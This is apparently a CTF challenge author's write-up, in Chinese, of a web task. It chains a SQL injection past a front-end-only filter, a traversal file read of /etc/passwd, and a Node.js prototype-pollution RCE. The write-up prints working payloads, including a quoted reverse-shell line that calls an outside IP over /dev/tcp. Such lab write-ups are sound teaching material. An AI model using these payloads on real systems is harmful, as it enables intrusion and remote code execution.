- 1:0x00 写在前面
- 2:0x01 考点
- 3:0x02 赛题复现
- 3.1:1.绕过前端限制的 Sql 注入
- 3.2:2.任意文件读取
- 3.3:3.原型链污染 RCE
0x00 写在前面
四年过的真快啊,应该是大学最后一次给 Syclover 出题了。
出题的时候人还在实习,当时 kibana 出了个新洞,而且网上没Poc,就想着看看能不能复现出来当题了,但是很可惜,最后没找到 kibana 里面的机器学习模块是怎么触发到原型链污染的,所以这题就只能出了个精简版的,套了一层前段时间打的 Blackhat MEA Quals 那道被打烂的原型链污染题的污染点。
然后前面都是我在实习的时候做金融公司渗透测试的时候遇到的,不知道加点啥了,总不能光秃秃的放个原型链污染 RCE 在这,所以都揉进去了,算是没活硬整吧,为了一盘醋包了一锅饺子 hhh。
只能说别出锅就行吧,毕竟这个题两天就出完了,也只有我验过题,学弟不太爱做 nodejs(
比赛 day0 出锅了,当时代码还在公司电脑上,我在家想开下服务然后验个题睡觉了,结果打到 report的地方,发现有个地方忘记改了,直接给我干的汗流浃背了,赶紧找还在公司的同事开下todesk 修锅(byd 十一点多了还在公司卷),还好后面比赛的时候没出事故,还算挺顺利的。
因为赛宁攻防世界没得动态容器了,我用 flask 实现了一个启动动态容器的服务,大家遇到不支持动态容器的 CTF 平台的时候可以考虑参考一下,代码开源在 GitHub 了https://github.com/VanZY-CN/Dynamic-Containers
0x01 考点
- 绕过前端限制的 Sql 注入
- 任意文件读取,Gzip 解包
- 原型链污染 RCE
0x02 赛题复现
1.绕过前端限制的 Sql 注入
经典开局一个登录框,剩下全靠猜
抓个包看看
我们发现点击登录的时候访问了 config 文件
放入 repeater 中查看
是从后端获取到的 publicKey,那么现在两条路,一个就是直接利用这个 key 生成 rsa 加密后的密文爆破密码,还有一个就是sql 注入,那么这里实际上的后端代码是这样的
将密文解密后进行 sql 查询,那么大家可以通过 fuzz 尝试一下万能密码1 or 1=1#
,就可以直接进去了,两种方法,第一种,因为我 sql 的限制在前端,所以可以把这个函数删除了,直接在登录框注;第二种,用拿到的公钥加密 payload,通过抓包发送给 login 路由,也可以,注意 JSEncrypt 库加密默认用的是 PKCS1
2.任意文件读取
登进去了是不是不知所措了,按照正常流程,这里就该看看有没有信息泄露了,翻一下 robots.txt
发现一个 Export的接口,尝试访问一下
这是 CS 模式下交互信息比较常见的一种编码方式,如果师傅们对编码比较敏感的话,很容易看出来这里是 Gzip 的文件头 base64 编码,那么直接用burp 的 hackventor 插件解码就可以获取到明文。
我们先看看能不能任意文件读,通过 fuzz 可以发现过滤了../
,双写绕过即可,读取一下/etc/passwd
可以读,那么尝试读一下 app.js(不知道源码文件名可以去看下/proc/self/cmdline
)
拿到源码开审
3.原型链污染 RCE
可以发现下面有两个route 是前面没有遇到的
访问一下
尝试发送任意内容并抓包
发现这里带上了 date,结合上面的源码,不难发现如果给 user 赋值成__proto__
即可污染原型链,但是注意看导包
可以读一下handle/index.js
再读下child_process.js
如果你看过 kibana 的源码(bushi,这个 patch 方法就是修复 19 年那个 CVE 的,但是相信大家还是发现了,只要让前面二维数组的 date 为 2 就可以绕过这个 patch,具体的可以通过调试看看这里到底发生了什么。
最后就是直接炒冷饭了,原型链污染打 RCE,污染 child_process 的env 和 shell 即可,我在下面也留了个后门,用来触发 spawn
,这里看 wp 都是直接把 shell 污染成/readflag
了hhh,其实还是希望用 node
来打,师傅们肯定都试过了没法污染成功吧,这是因为 node
不在新的 child_process的环境变量里面,没找到这个 shell,所以你要用 node 的物理路径((
附上我自己的 Poc
{ "user": "__proto__", "date": 2, "reportmessage": {"shell":"/usr/local/bin/node","env":{"AAA":"console.log(123);//","NODE_OPTIONS":"-r /proc/self/environ"}}}
把 AAA 改成你想执行的 js 代码就行
看了下 WM 的师傅是这么做的
add_report("__proto__",2,{"shell":"/proc/self/exe","argv0":"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/123.45.6.7/9999 0>&1\"').toString())//","env":{"NODE_OPTIONS":"--require /proc/self/cmdline"}})
好东西,偷了(bushi
然后SiuMai的师傅是环境变量注入